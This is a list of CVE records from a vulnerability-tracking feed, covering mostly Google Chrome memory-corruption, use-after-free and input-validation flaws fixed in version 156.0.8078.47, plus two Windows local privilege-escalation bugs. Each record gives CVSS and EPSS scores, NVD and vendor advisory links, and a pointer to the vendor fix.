### Memory corruption in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113005
Memory corruption in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113005).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113005&date=2026-10-25).
Sources:
NVD CVE-2026-113005: https://nvd.nist.gov/vuln/detail/CVE-2026-113005
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113005&date=2026-10-25
Memory corruption in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out of bounds read in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113006
Out of bounds read in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Out of bounds read in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113006).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113006&date=2026-10-25).
Sources:
NVD CVE-2026-113006: https://nvd.nist.gov/vuln/detail/CVE-2026-113006
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113006&date=2026-10-25
Out of bounds read in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Date in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113020
Improper input validation in Date in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML... (Oct 20, 2026).
Improper input validation in Date in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 9.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113020).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113020&date=2026-10-25).
Sources:
NVD CVE-2026-113020: https://nvd.nist.gov/vuln/detail/CVE-2026-113020
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113020&date=2026-10-25
Improper input validation in Date in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113061
Memory corruption in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113061).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113061&date=2026-10-25).
Sources:
NVD CVE-2026-113061: https://nvd.nist.gov/vuln/detail/CVE-2026-113061
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113061&date=2026-10-25
Memory corruption in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113062
Improper input validation in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Improper input validation in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113062).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113062&date=2026-10-25).
Sources:
NVD CVE-2026-113062: https://nvd.nist.gov/vuln/detail/CVE-2026-113062
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113062&date=2026-10-25
Improper input validation in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83871
Heap-based buffer overflow in OpenSSH for Windows allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83871).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83871&date=2026-10-25).
Sources:
NVD CVE-2026-83871: https://nvd.nist.gov/vuln/detail/CVE-2026-83871
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83871
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83871&date=2026-10-25
Heap-based buffer overflow in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113063
Improper input validation in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Improper input validation in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113063).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113063&date=2026-10-25).
Sources:
NVD CVE-2026-113063: https://nvd.nist.gov/vuln/detail/CVE-2026-113063
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113063&date=2026-10-25
Improper input validation in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in OptimizationGuide in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113064
Memory corruption in OptimizationGuide in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Memory corruption in OptimizationGuide in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113064).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113064&date=2026-10-25).
Sources:
NVD CVE-2026-113064: https://nvd.nist.gov/vuln/detail/CVE-2026-113064
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113064&date=2026-10-25
Memory corruption in OptimizationGuide in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113065
Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113065).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113065&date=2026-10-25).
Sources:
NVD CVE-2026-113065: https://nvd.nist.gov/vuln/detail/CVE-2026-113065
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113065&date=2026-10-25
Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113067
Use after free in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113067).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113067&date=2026-10-25).
Sources:
NVD CVE-2026-113067: https://nvd.nist.gov/vuln/detail/CVE-2026-113067
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113067&date=2026-10-25
Use after free in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113068
Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113068).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113068&date=2026-10-25).
Sources:
NVD CVE-2026-113068: https://nvd.nist.gov/vuln/detail/CVE-2026-113068
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113068&date=2026-10-25
Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113069
Memory corruption in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113069).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113069&date=2026-10-25).
Sources:
NVD CVE-2026-113069: https://nvd.nist.gov/vuln/detail/CVE-2026-113069
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113069&date=2026-10-25
Memory corruption in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113258
Memory corruption in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113258).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113258&date=2026-10-25).
Sources:
NVD CVE-2026-113258: https://nvd.nist.gov/vuln/detail/CVE-2026-113258
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113258&date=2026-10-25
Memory corruption in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Frames in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113259
Use after free in Frames in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Frames in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113259).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113259&date=2026-10-25).
Sources:
NVD CVE-2026-113259: https://nvd.nist.gov/vuln/detail/CVE-2026-113259
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113259&date=2026-10-25
Use after free in Frames in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect conversion between numeric types in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83872
Incorrect conversion between numeric types in Windows TCP/IP allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Incorrect conversion between numeric types in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83872).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83872&date=2026-10-25).
Sources:
NVD CVE-2026-83872: https://nvd.nist.gov/vuln/detail/CVE-2026-83872
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83872
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83872&date=2026-10-25
Incorrect conversion between numeric types in Windows TCP/IP allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113260
Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113260).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113260&date=2026-10-25).
Sources:
NVD CVE-2026-113260: https://nvd.nist.gov/vuln/detail/CVE-2026-113260
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113260&date=2026-10-25
Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113262
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113262).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113262&date=2026-10-25).
Sources:
NVD CVE-2026-113262: https://nvd.nist.gov/vuln/detail/CVE-2026-113262
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113262&date=2026-10-25
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113264
Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113264).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113264&date=2026-10-25).
Sources:
NVD CVE-2026-113264: https://nvd.nist.gov/vuln/detail/CVE-2026-113264
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113264&date=2026-10-25
Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in BFCache in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113265
Memory corruption in BFCache in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in BFCache in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113265).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113265&date=2026-10-25).
Sources:
NVD CVE-2026-113265: https://nvd.nist.gov/vuln/detail/CVE-2026-113265
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113265&date=2026-10-25
Memory corruption in BFCache in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
